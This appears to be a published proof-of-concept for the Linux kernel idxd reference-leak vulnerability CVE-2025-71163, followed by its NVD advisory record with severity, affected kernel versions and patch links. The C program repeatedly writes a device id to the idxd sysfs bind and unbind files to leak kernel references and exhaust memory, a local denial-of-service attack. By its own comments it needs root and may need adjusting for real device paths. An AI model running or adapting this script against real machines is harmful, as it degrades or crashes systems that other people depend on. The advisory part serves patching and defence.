CVE-2025-71163

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> /* * CVE-2025-71163 PoC - Linux kernel idxd device reference leak * * This PoC demonstrates the device reference leak in idxd driver * by repeatedly triggering bind/unbind operations through sysfs. * * Note: This requires root privileges to write to sysfs. * The actual exploit would need to target specific idxd device paths. */ #define SYSFS_IDXD_PATH "/sys/bus/dsa/drivers/idxd" #define BIND_PATH SYSFS_IDXD_PATH "/bind" #define UNBIND_PATH SYSFS_IDXD_PATH "/unbind" void trigger_leak(const char *device_id) { int fd; char buffer[256]; // Trigger bind operation - causes reference acquisition fd = open(BIND_PATH, O_WRONLY); if (fd >= 0) { write(fd, device_id, strlen(device_id)); close(fd); } // Trigger unbind operation - should release reference but doesn't fd = open(UNBIND_PATH, O_WRONLY); if (fd >= 0) { write(fd, device_id, strlen(device_id)); close(fd); } } int main(int argc, char *argv[]) { const char *device_id = "dsa0"; int iterations = 100000; int i; if (argc > 1) { iterations = atoi(argv[1]); } if (argc > 2) { device_id = argv[2]; } printf("CVE-2025-71163 PoC - Starting reference leak test\n"); printf("Target device: %s, Iterations: %d\n", device_id, iterations); for (i = 0; i < iterations; i++) { trigger_leak(device_id); if (i % 1000 == 0) { printf("Progress: %d/%d iterations\n", i, iterations); } } printf("Test complete. Check dmesg for memory pressure warnings.\n"); return 0; }

{"cve": {"id": "CVE-2025-71163", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-25T15:15:54.083", "lastModified": "2026-02-26T17:10:27.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: idxd: fix device leaks on compat bind and unbind\n\nMake sure to drop the reference taken when looking up the idxd device as\npart of the compat bind and unbind sysfs interface."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ndmaengine: idxd: corregir fugas de dispositivos en la vinculación y desvinculación de compatibilidad\n\nAsegúrese de liberar la referencia tomada al buscar el dispositivo idxd como parte de la interfaz sysfs de vinculación y desvinculación de compatibilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "5.15.199", "matchCriteriaId": "3F9487DA-0705-4945-A8B3-1460DE840D0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.162", "matchCriteriaId": "6579E0D4-0641-479D-A4C3-0EF618798C55"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.122", "matchCriteriaId": "8EAAE395-0162-4BAF-9AD5-E9AF3C869C4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.67", "matchCriteriaId": "7456F614-6AA8-4C08-8229-BA342D4AFBAD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.7", "matchCriteriaId": "99FF3E05-0E7A-44E9-8E47-BF6F1F8EC436"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0c97ff108f825a70c3bb29d65ddf0a013d231bb9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/799900f01792cf8b525a44764f065f83fcafd468", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a7226fd61def74b60dd8e47ec84cabafc39d575b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b2d077180a56e3b7c97b7517d0465b584adc693b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b7bd948f89271c92d9ca9b2b682bfba56896e959", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c81ea0222eaaafdd77348e27d1e84a1b8cfc0c99", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}